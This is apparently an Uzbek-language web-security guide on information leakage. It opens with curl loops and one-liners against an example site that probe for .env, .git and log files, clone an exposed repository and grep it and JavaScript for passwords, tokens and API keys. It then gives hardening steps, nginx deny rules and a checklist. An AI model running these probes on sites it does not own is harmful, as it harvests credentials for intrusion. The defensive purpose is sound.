Xatolik xabarlari, izlash fayllari, `.git`, API javoblari va metadata orqali kalitlar parollar topiladi. Bu — boshqa hujumlarning kalitlari.

# 1) sarlavhalar
curl -s -D- -o /dev/null https://site.uz/ | grep -iE "server|x-powered-by|x-generator"

# 2) xatolik sahifalari
curl -s "https://site.uz/api/nonexistent" | head -c 300
curl -s -X POST https://site.uz/api/auth/login -H "Content-Type: application/json" \
  -d '{}' | head -c 300
curl -s "https://site.uz/api/users/abc" | head -c 300

# 3) maxfiy fayllar
for F in .env .git/config .git/HEAD debug.log error.log app.log npm-debug.log \
         phpinfo.php info.php server-status; do
  C=$(curl -s -o /dev/null -w "%{http_code}" "https://site.uz/$F")
  [ "$C" != "404" ] && echo "  /$F → $C"
done

# 1) MANZIL RO'YXATI (har doim boshlang'ich nuqta)
curl -s -D- -o /dev/null https://site.uz/ | grep -iE "^server|x-powered|x-aspnet|x-generator"

# 2) .git orqali kod tiklash (kalitlar topish)
curl -s -o /dev/null -w "%{http_code}\n" https://site.uz/.git/HEAD
curl -s https://site.uz/.git/config
# to'liq tiklash:
mkdir -p /tmp/g && cd /tmp/g
git clone --quiet http://site.uz/.git . 2>/dev/null && git log --oneline | head
grep -rniE "password|secret|api_key|token" --include='*' . | head -20

# 3) izlash fayllari
for F in debug.log error.log app.log logs/app.log storage/logs/laravel.log \
         var/log/app.log npm-debug.log yarn-error.log; do
  curl -s "https://site.uz/$F" | head -3
done

# 4) xato sahifasida maxfiy ma'lumot
curl -s "https://site.uz/api/x" | grep -iE "stack|trace|at |\.js:|\.php|node_modules|SELECT|INSERT"
curl -s "https://site.uz/api/orders/1" -H "Accept: application/json" | head -c 400
// SQL so'rovi yoki fayl yo'llari ko'rinsa → jiddiy

# 5) JS da kalitlar
curl -s https://site.uz/ | grep -oE '/[a-z]+\.js' | sort -u | while read J; do
  curl -s "https://site.uz$J" | grep -oiE "(api[_-]?key|secret|token|password)['\"]?\s*[:=]\s*['\"][^'\"]{8,}"
done

# 6) metadata (fayllar)
curl -s https://site.uz/brochure.pdf -o /tmp/b.pdf
exiftool /tmp/b.pdf 2>/dev/null | grep -iE "author|creator|software|comment"
strings /tmp/b.pdf | grep -iE "(@|user|admin|home/|C:\\)" | head

# 7) ish vaqtidan xabardor bo'lish
curl -s -D- -o /dev/null https://site.uz/ | grep -i date
# barcha vaqt UTC da bo'lishi kerak (osmon vaqti oshkor qilmaydi)

# 8) API javoblarida ortiqcha maydonlar
curl -s https://site.uz/api/user/1 -H "Authorization: Bearer $T" | jq 'keys'
// passwordHash, token, internalNote → o'chirish

1. Ishlab chiqarish sozlamalari

NODE_ENV=production
APP_DEBUG=false
APP_ENV=production
FLASK_ENV=production
# DEBUG true da SQL, yo'llar, kalitlar chiqadi

2. Maxfiy fayllarni berkitish

# .env faqat serverda (web-root dan tashqarida)
/var/www/usr_w8ujaj/data/www/site.uz/index.php
/var/www/usr_w8ujaj/data/.env

# .git ni chiqarish
rm -rf .git
echo ".env" >> .gitignore

# nginx
location ~ /\. {{ return 404; }}
location ~* \.(log|bak|sql)$ {{ return 404; }}

3. Xatolarni tozalash

app.use((err, req, res, next) => {{
  console.error(err);                    // serverga yoziladi
  res.status(500).json({{                  // foydalanuvchiga — minimal
    success: false, error: 'Serverda xatolik yuz berdi'
  }});
}});

4. Ortiqcha maydonlarni olib tashlash

// hech qachon to'liq obyektni qaytarma
res.json({{
  id: user.id, name: user.name, email: user.email
  // passwordHash, token, tfaSecret — YO'Q
}});

5. Sarlavhalarni tozalash

app.disable('x-powered-by');
Header unset X-Powered-By
server_tokens off;   # nginx: "nginx/1.18.0" ko'rsatmasin

6. Audit

• Har oy gitleaks / trufflehog bilan repository
• Metadata tozalash (fayl yuklashda EXIF)
• Loglarda kalit hech qachon yozilmasin

• `APP_DEBUG=false` / `NODE_ENV=production`
• `.env` web-root dan tashqarida
• `.git`, `.log`, `.bak` — 404
• Xato javoblari stack trace yo'q
• `X-Powered-By` olib tashlangan, `server_tokens off`
• API faqat kerakli maydonlarni qaytaradi
• Kalitlar hech qayerda (log, JS) ko'rinmaydi
• `.git/HEAD` va `.env` bilan test qilindi